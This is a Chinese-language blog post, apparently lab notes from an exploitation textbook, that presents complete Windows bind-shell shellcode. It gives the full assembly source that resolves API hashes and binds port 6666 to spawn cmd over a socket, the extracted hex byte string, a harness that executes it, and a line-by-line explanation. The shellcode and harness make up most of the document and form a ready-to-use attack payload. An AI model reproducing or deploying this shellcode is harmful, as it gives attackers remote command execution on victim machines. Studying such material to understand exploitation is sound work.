bindshell
实验环境
推荐使用的环境 | 备注 | |
---|---|---|
操作系统 | Windows XP SP2 | 其他win32操作系统也可以进行本实验 |
编译器 | Visual C++ 6.0 | 如果使用其他编译器,需重新调试 |
编译选项 | 默认编译选项 | vs2003和vs2005中的GS编译选项会使栈溢出实验失败 |
build版本 | debug版本 | 如使用release版本需要重新调试 |
代码
main()
{
__asm{
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
; start of shellcode
; assume: eax points here
; function hashes (executable as nop-equivalent)
_emit 0x59 ; LoadLibraryA ; pop ecx
_emit 0x81 ; CreateProcessA ; or ecx, 0x203062d3
_emit 0xc9 ; ExitProcess
_emit 0xd3 ; WSAStartup
_emit 0x62 ; WSASocketA
_emit 0x30 ; bind
_emit 0x20 ; listen
_emit 0x41 ; accept ; inc ecx
; "CMd"
_emit 0x43 ; inc ebx
_emit 0x4d ; dec ebp
_emit 0x64 ; FS:
; start of proper code
cdq ; set edx = 0 (eax points to stack so is less than 0x80000000)
xchg eax, esi ; esi = addr of first function hash
lea edi, [esi - 0x18] ; edi = addr to start writing function
; addresses (last addr will be written just
; before "cmd")
; find base addr of kernel32.dll
mov ebx, fs:[edx + 0x30] ; ebx = address of PEB
mov ecx, [ebx + 0x0c] ; ecx = pointer to loader data
mov ecx, [ecx + 0x1c] ; ecx = first entry in initialisation order list
mov ecx, [ecx] ; ecx = second entry in list (kernel32.dll)
mov ebp, [ecx + 0x08] ; ebp = base address of kernel32.dll
; make some stack space
mov dh, 0x03 ; sizeof(WSADATA) is 0x190
sub esp, edx
; push a pointer to "ws2_32" onto stack
mov dx, 0x3233 ; rest of edx is null
push edx
push 0x5f327377
push esp
find_lib_functions:
lodsb ; load next hash into al and increment esi
cmp al, 0xd3 ; hash of WSAStartup - trigger
; LoadLibrary("ws2_32")
jne find_functions
xchg eax, ebp ; save current hash
call [edi - 0xc] ; LoadLibraryA
xchg eax, ebp ; restore current hash, and update ebp
; with base address of ws2_32.dll
push edi ; save location of addr of first winsock function
find_functions:
pushad ; preserve registers
mov eax, [ebp + 0x3c] ; eax = start of PE header
mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table
add ecx, ebp ; ecx = absolute addr of export table
mov ebx, [ecx + 0x20] ; ebx = relative offset of names table
add ebx, ebp ; ebx = absolute addr of names table
xor edi, edi ; edi will count through the functions
next_function_loop:
inc edi ; increment function counter
mov esi, [ebx + edi * 4] ; esi = relative offset of current function name
add esi, ebp ; esi = absolute addr of current function name
cdq ; dl will hold hash (we know eax is small)
hash_loop:
lodsb ; load next char into al and increment esi
xor al, 0x71 ; XOR current char with 0x71
sub dl, al ; update hash with current char
cmp al, 0x71 ; loop until we reach end of string
jne hash_loop
cmp dl, [esp + 0x1c] ; compare to the requested hash (saved on stack from pushad)
jnz next_function_loop
; we now have the right function
mov ebx, [ecx + 0x24] ; ebx = relative offset of ordinals table
add ebx, ebp ; ebx = absolute addr of ordinals table
mov di, [ebx + 2 * edi] ; di = ordinal number of matched function
mov ebx, [ecx + 0x1c] ; ebx = relative offset of address table
add ebx, ebp ; ebx = absolute addr of address table
add ebp, [ebx + 4 * edi] ; add to ebp (base addr of module) the
; relative offset of matched function
xchg eax, ebp ; move func addr into eax
pop edi ; edi is last onto stack in pushad
stosd ; write function addr to [edi] and increment edi
push edi
popad ; restore registers
cmp esi, edi ; loop until we reach end of last hash
jne find_lib_functions
pop esi ; saved location of first winsock function
; we will lodsd and call each func in sequence
; initialize winsock
push esp ; use stack for WSADATA
push 0x02 ; wVersionRequested
lodsd
call eax ; WSAStartup
; null-terminate "cmd"
mov byte ptr [esi + 0x13], al ; eax = 0 if WSAStartup() worked
; clear some stack to use as NULL parameters
lea ecx, [eax + 0x30] ; sizeof(STARTUPINFO) = 0x44,
mov edi, esp
rep stosd ; eax is still 0
; create socket
inc eax
push eax ; type = 1 (SOCK_STREAM)
inc eax
push eax ; af = 2 (AF_INET)
lodsd
call eax ; WSASocketA
xchg ebp, eax ; save SOCKET descriptor in ebp (safe from
; being changed by remaining API calls)
; push bind parameters
mov eax, 0x0a1aff02 ; 0x1a0a = port 6666, 0x02 = AF_INET
xor ah, ah ; remove the ff from eax
push eax ; we use 0x0a1a0002 as both the name (struct
; sockaddr) and namelen (which only needs to
; be large enough)
push esp ; pointer to our sockaddr struct
; call bind(), listen() and accept() in turn
call_loop:
push ebp ; saved SOCKET descriptor (we implicitly pass
; NULL for all other params)
lodsd
call eax ; call the next function
test eax, eax ; bind() and listen() return 0, accept()
; returns a SOCKET descriptor
jz call_loop
; initialise a STARTUPINFO structure at esp
inc byte ptr [esp + 0x2d] ; set STARTF_USESTDHANDLES to true
sub edi, 0x6c ; point edi at hStdInput in STARTUPINFO
stosd ; use SOCKET descriptor returned by accept
; (still in eax) as the stdin handle
stosd ; same for stdout
stosd ; same for stderr (optional)
; create process
pop eax ; set eax = 0 (STARTUPINFO now at esp + 4)
push esp ; use stack as PROCESSINFORMATION structure
; (STARTUPINFO now back to esp)
push esp ; STARTUPINFO structure
push eax ; lpCurrentDirectory = NULL
push eax ; lpEnvironment = NULL
push eax ; dwCreationFlags = NULL
push esp ; bInheritHandles = true
push eax ; lpThreadAttributes = NULL
push eax ; lpProcessAttributes = NULL
push esi ; lpCommandLine = "cmd"
push eax ; lpApplicationName = NULL
call [esi - 0x1c] ; CreateProcessA
; call ExitProcess()
call [esi - 0x18] ; ExitProcess
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
}
}
以上是汇编代码,用vc++ 6.0build以后得到的exe文件直接拖去OD复制机器码,注意机器码从第一个函数hash开始取,后面的nop可以要也可以不要。
\x59\x81\xC9\xD3\x62\x30\x20\x41\x43\x4D\x64\x99\x96\x8D\x7E\xE8\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xB6\x03\x2B\xE2\x66\xBA\x33\x32\x52\x68\x77\x73\x32\x5F\x54\xAC\x3C\xD3\x75\x06\x95\xFF\x57\xF4\x95\x57\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\xAC\x34\x71\x2A\xD0\x3C\x71\x75\xF7\x3A\x54\x24\x1C\x75\xEA\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3B\xF7\x75\xB4\x5E\x54\x6A\x02\xAD\xFF\xD0\x88\x46\x13\x8D\x48\x30\x8B\xFC\xF3\xAB\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8\x02\xFF\x1A\x0A\x32\xE4\x50\x54\x55\xAD\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24\x2D\x83\xEF\x6C\xAB\xAB\xAB\x58\x54\x54\x50\x50\x50\x54\x50\x50\x56\x50\xFF\x56\xE4\xFF\x56\xE8\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
这是最后机器码的16进制序列。
char sc[]="...";
void main()
{
__asm{
lea eax,sc
push eax
ret
}
}
以上是最后的测试代码。
代码解析
_emit 0x59 ; LoadLibraryA ; pop ecx
_emit 0x81 ; CreateProcessA ; or ecx, 0x203062d3
_emit 0xc9 ; ExitProcess
_emit 0xd3 ; WSAStartup
_emit 0x62 ; WSASocketA
_emit 0x30 ; bind
_emit 0x20 ; listen
_emit 0x41 ; accept ; inc ecx
; "CMd"
_emit 0x43 ; inc ebx
_emit 0x4d ; dec ebp
_emit 0x64 ; FS:
_emit指令时再当前的位置直接插入数据,这里的数据换成指令均对程序无影响所以可以直接执行。此时eax指向的地址是第一个函数hash的地址
cdq
xchg eax,esi
lea edi,[esi-0x18]
这里设置edx=0
交换了esi和eax的地址,也就是说此时esi指向了shellcode的首地址
随后使得edi指向了shellcode地址-24个字节的地方最后前6个函数会占用前24个字节,后两个函数会占用hash的8个字节,而cmd会紧随其后
所有本次使用到的函数均来源于两个dll,kernel32.dll和ws2_32.dll,每一个windows进程都会加载kernel32.dll。
当找到所有的kernel.dll中函数后需要加载另一个dll,随后继续查找ws2_32.dll中的函数
mov dh,0x03
sub esp,edx
mov dx,0x3233
push edx
push 0x5f327377
push esp
这里先压入了字符串"ws2_32"随后压入了esp,这里的esp不是先esp-4后压入,而是直接压入的esp,所以这里esp是指向"ws2_32"字符串的首地址
find_lib_functions:
lodsb
find_functions:
pushad
mov eax,[ebp+0x3c]
mov ecx,[ebp+eax+0x78]
add ecx,ebp
mov ebx,[ecx+0x20]
add ebx,ebp
xor edi,edi
读入一个hash,找到函数导出表中函数名字表的绝对地址
next_funciotn_loop:
inc edi
mov esi,[ebx+edi*4]
add esi,ebp
cdq
hash_loop:
lopsb
xor al,0x71
sub dl,al
cmp al,0x71
jne hash_loop
经测试这里从dll文件导出表的第二个函数开始比较
并且在找到序号后并没有加上所谓的base值 直接序号*4+addressOfFunction就行了
功能主要是循环找到函数的名字,然后计算hash比较
cmp dl,[esp+0x1c]
jnz next_function_loop
由于eax的值已经被改变,原eax的值保存在[esp+0x1c]的地方,所以这样对比hash寻找下一个地址
mov ebx,[ecx+0x24]
add ebx,ebp
mov di,[ebx+2*edi]
mov ebx,[ecx+0x1c]
add ebx,ebp
add ebp,[ebx+4*edi]
找到函数入口地址
想要通过edi引用这个函数地址,也就是说edi指向的内存单元存放着这个函数地址
xchg eax,ebp
pop edi
stosd
push edi
存放进去地址,然后保存edi的值
popad
cmp esi,edi
jne find_lib_functions
esi和edi指向的内容一样的时候就是八个函数全找出来了
解决前三个函数后就需要load("ws2_32.dll")然后切换基地址
cmp al,0xd3
jne find_funcionts
xchg eax,ebp
call [edi-0xc]
xchg eax,ebp
push edi
pop esi
push esp
push 0x02
lodsd
call eax
压入WSAStartup的两个参数
mov byte ptr [esi+0x13],al
lea ecx,[eax+0x30]
mov edi,esp
rep stosd
给cmd后面加个null并且大规模置null
inc eax
push eax
inc eax
push eax
lodsd
由于大规模置null,WSASocket的参数压入两个就行了
mov eax,0x0a1aff02
xor ah,ah
push eax
push esp
call_loop:
push ebp
lodsd
call eax
test eax,eax
jz call_loop
循环调用三个函数
inc byte ptr [esp+0x2d]
sub edi,0x6c
stosd
stosd
stosd
这里设置了STARTF_USESTDHANDLES为TRUE,并且将客户端的socket传给了hStdInput,hStdOutput和hStdError
最后就是调用createProcess函数了
pop eax
push esp
push esp
push eax
push eax
push eax
push esp
push eax
push eax
push esi
push eax
call [esi-0x1c]
书上代码端口有问题,程序无法运行
文章评论